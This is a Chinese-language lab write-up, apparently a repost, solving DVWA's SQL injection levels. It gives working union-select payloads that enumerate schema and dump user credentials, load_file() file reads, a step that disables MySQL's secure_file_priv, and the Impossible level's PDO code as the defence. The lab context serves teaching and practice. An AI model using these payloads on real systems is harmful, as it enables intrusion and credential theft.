当前位置:   article > 正文

DVWA靶场SQL Injection(SQL注入)_dvwa回显注入

dvwa回显注入

目录

一、有回显的SQL注入过程

二、Low

三、Medium

四、 High

五、Impossible 


一、有回显的SQL注入过程

1.找到注入点;

2.通过回显找到闭合方式;

3.使用order by判断列数;

4.使用union select判断显示位;

5.使用union select爆出数据库名和版本号;

6.已知数据库名后使用union select爆出表名和列名;

7.最后爆出列名内所需信息,如user和password;

8.此外还可使用union select来读取文件。

二、Low

1.输入1‘发现有如下闭合报错,则判断存在注入点,

2.输入1''后出现回显,说明闭合为单引号'

3. 判断列数,输入至1' order by 3#时出现报错,说明列数为2,

4. 使用如下语句判断显示位

1' union select 1,2#

5.输入如下语句爆出数据库名和版本号,

1' union select version(),database()#

 6.已知数据库名后使用如下三种语句爆出表名,第三种内的0x64767761为dvwa的ASCII码,可以看到回显有两个表,

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#

7.同样使用三种方式爆出列名, name的ASCII码为0x7573657273,user以及password为我们需要的内容,

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#

 8.若提交后出现报错为“Illegal mix of collations for operation  UNION”,原因是UNION两端的排序规则不同,我们打开phpstudy,在软件管理中找到叫phpMyAdmin的一个mysql管理工具并安装,点击“管理”打开, 

 9.登录时用户名密码为自己数据库的用户名和密码,找到dvwa的 数据库,到操作页面,拖至最下方将排序规则改为utf8_general_ci,点击“执行”,修改成功后排序规则问题就可解决,再次输入语句后不会报错,

10.我们知道需要的内容为user和password,输入如下语句,会爆出user和password的内容,但password为加密模式,我们可以在网页中对其进行解密,解密后user和password对应为:admin,password,gordonb,abc123,1337,charley,pablo,letmein,smithy,password

1' union select group_concat(user),group_concat(password) from users#

 11.还可以使用如下语句来读取文件,在过程中出现了未显示文件内容的问题,查询后得知是权限不够,load_file()函数以及load data等语句都需要用户具有file权限,

1' union select 1,load_file('文件绝对路径')#

 12.解决办法是修改数据库文件来阻止对MySQL的导入进行限制,在phpstudy文件中找到my.ini文件,

13. 在文中添加语句secure_file_priv='',还可以增加sql服务器和客户端传送数据包大小的最大值,

 14.修改完成后重启mysql,再重新输入读取文件语句,发现文件内容可以成功显示,

15.再到数据库内查询该权限,发现不为NULL,

三、Medium

1.对比源代码可以发现medium级别添加了mysql_real_escape_string函数来对特殊字符进行转义,还使用了下拉列表来限制输入,

 2.使用burp suite工具进行抓包,拦截到的数据如下,

3. 添加“ ' ”或者“ '' ”发现都会报错,说明输入的是数值,

 4.直接添加or 1=1尝试,得到所有用户,

5. 找到了闭合方式,那么就可以开始进行注入了,首先判断列数,依旧发现在增加到三时出现报错,因此列数为二,

id=1 order by 3

 6.判断显示位,

id=1 union select 1,2

 7.爆出数据库名和版本号,

id=1 union select version(),database()

 8.爆出表名,

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

 9.爆出列名,

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761

10.爆出user和password,

id=1 union select user,password from users

四、 High

1.发现high级别的输入在一个独立的窗口中,从链接进入,

2. 输入1'发现页面报错,输入1''时有回显,因此判断闭合方式为“ ' ”,并且没有进行转义字符处理,

3. 那么我们继续开始第一步,判断列数,得到列数为2,

4.判断显示位 ,

5.爆出数据库名和版本号, 

6.爆出表名, 

7.爆出列名,

 

8.爆出user和password, 

五、Impossible 

查看impossible级别的源代码,发现使用了PDO技术来杜绝sql注入

  1. <?php
  2. if( isset( $_GET[ 'Submit' ] ) ) {
  3. // Check Anti-CSRF token
  4. checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  5. // Get input
  6. $id = $_GET[ 'id' ];
  7. // Was a number entered?
  8. if(is_numeric( $id )) {
  9. $id = intval ($id);
  10. switch ($_DVWA['SQLI_DB']) {
  11. case MYSQL:
  12. // Check the database
  13. $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
  14. $data->bindParam( ':id', $id, PDO::PARAM_INT );
  15. $data->execute();
  16. $row = $data->fetch();
  17. // Make sure only 1 result is returned
  18. if( $data->rowCount() == 1 ) {
  19. // Get values
  20. $first = $row[ 'first_name' ];
  21. $last = $row[ 'last_name' ];
  22. // Feedback for end user
  23. echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
  24. }
  25. break;
  26. case SQLITE:
  27. global $sqlite_db_connection;
  28. $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
  29. $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
  30. $result = $stmt->execute();
  31. $result->finalize();
  32. if ($result !== false) {
  33. // There is no way to get the number of rows returned
  34. // This checks the number of columns (not rows) just
  35. // as a precaution, but it won't stop someone dumping
  36. // multiple rows and viewing them one at a time.
  37. $num_columns = $result->numColumns();
  38. if ($num_columns == 2) {
  39. $row = $result->fetchArray();
  40. // Get values
  41. $first = $row[ 'first_name' ];
  42. $last = $row[ 'last_name' ];
  43. // Feedback for end user
  44. echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
  45. }
  46. }
  47. break;
  48. }
  49. }
  50. }
  51. // Generate Anti-CSRF token
  52. generateSessionToken();
  53. ?>

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号